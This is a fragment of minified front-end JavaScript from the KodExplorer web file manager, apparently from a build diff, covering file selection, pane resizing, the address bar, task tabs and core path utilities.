0}b(t)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==t.find(".children_more_cert.cert_open").length)t.find(".children_more_cert").removeClass("cert_open"),t.next().addClass("hidden");else{var i=t.parent(".children_list").prev(".file");b(i)}else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").prev().find(".select_split_parent");b(i)}break;case"right":if("list"==G.user_config.list_type)1==t.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children_more_cert").addClass("cert_open"),t.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").next().find(".file:eq(0)");b(i)}break;default:return!1}return!0},k=function(e,t,i){if("desktop"==Config.pageApp)return x(e,t,i);ui.fileLight.clear();for(var a=e;t>=a;a++)$(i[a]).addClass(Config.SelectClassName);ui.fileLight.select()},x=function(e,t,i){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},t={row:t%a,col:parseInt(t/a)};if(t.row<e.row){var o=t;t=e,e=o}var s=function(e,t){var n=t*a+e;$(i[n]).addClass(Config.SelectClassName)};ui.fileLight.clear();for(var r=e.row;t.row>=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),f()},isDraging:function(){return t},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]<t[a])&&(i[a]=e[a])})},n=function(){if(!r()){var e=jsonEncode(i);LocalData.set("resize_config",e),$.get("index.php?setting/set&k=resize_config&v="+e)}},o=function(e){if("icon"!=G.user_config.list_type){e||(e=i);var a="",n=0;$.each(e,function(e,i){0==e.indexOf("file")&&(t[e]>=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),f=$(".frame-right"),u=e[r];if(c>u-8&&u+8>c&&(c=u+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),f.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),f.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),f(e)},f=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},u=function(e){G.user_config.file_icon_size=e,f(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),i=n>=i?n:i,i=i>=o?o:i;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(i),d=c+2*r-l+5,p=c-l,f=c-l,h=.4*c,m=c+3*r-l,_=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,_="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(f-=4);var v="div.fileList_icon div.file{max-height:"+m+"px;}"+_+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+f+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",s),t&&u(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),u(i(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball_input").css("display","block"),$("#yarnball_input input").focus(),!0});var e=$("#yarnball_input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){core.search($(".header-right input").val(),G.this_path)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"history_back":ui.path.history.back();break;case"history_next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.this_path,type:"folder",name:$("ul.yarnball li:last .title_name").html()});break;case"goto_father":o();break;case"setting":core.setting();break;case"search":core.search($(".header-right input").val(),G.this_path);break;default:}return!0})},t=function(e){var t=G.this_path;a(G.this_path),$("#yarnball_input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='<li class="yarnlet first"><a title="@1@" data-path="@1@" style="z-index:{$2};"><span class="left-yarn"></span>{$3}</a></li>\n',i='<li class="yarnlet "><a title="@1@" data-path="@1@" style="z-index:{$2};">{$3}</a></li>\n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r='<span class="address_ico">'+core.iconSmall(l.icon)+"</span>",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+'<span class="title_name">'+htmlEncode(s)+"</span>");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",'<span class="title_name">'+htmlEncode(a[d])+"</span>"),c+=o;return'<ul class="yarnball">'+c+"</ul>"};void 0==e&&$("#yarnball").html(n(t)),i()},i=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var i=e-t;0>=i?$(".yarnball").css("width",t+"px").css("left",i+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},a=function(e){var t=$("#yarnball_input .path");if(void 0==e){var i=t.val();return i=rtrim(core.pathClear(i))+"/"}t.val(e)},n=function(e,i){ui.path.list(e),t(i)},o=function(){var e=a();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var i=core.pathFather(e);ui.path.list(i),t()};return{init:e,addressSet:t,resetWidth:i,gotoFather:o}}); \ No newline at end of file +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","./ui","./fileContent","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","./path","./fileLight","./fileSelect","./fileListResize","./headerAddress"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",TreeId:"folderList",pageApp:"explorer",treeAjaxURL:"index.php?explorer/treeList&app=explorer",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("./ui"),ui.tree=e("../../common/tree"),ui.path=e("./path"),ui.fileLight=e("./fileLight"),ui.fileSelect=e("./fileSelect"),ui.fileListResize=e("./fileListResize"),ui.headerAddress=e("./headerAddress"),$(document).ready(function(){function t(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),i=window.location.search.substr(1).match(t);return null!=i?unescape(i[2]):null}core.init(),ui.init(),ui.tree.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),TaskTap.init(),rightMenu.initExplorer(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),"file_list"==t("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius"))})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,f=0,u=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),f=$tab_parent.width(),u=$tab_parent.get(0).getBoundingClientRect().left,u+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;u>n||n>u+f-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='<div class="tab taskBarMenu" id="'+t+'" title="'+a+'">'+i+"</div>";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},f=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),f(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 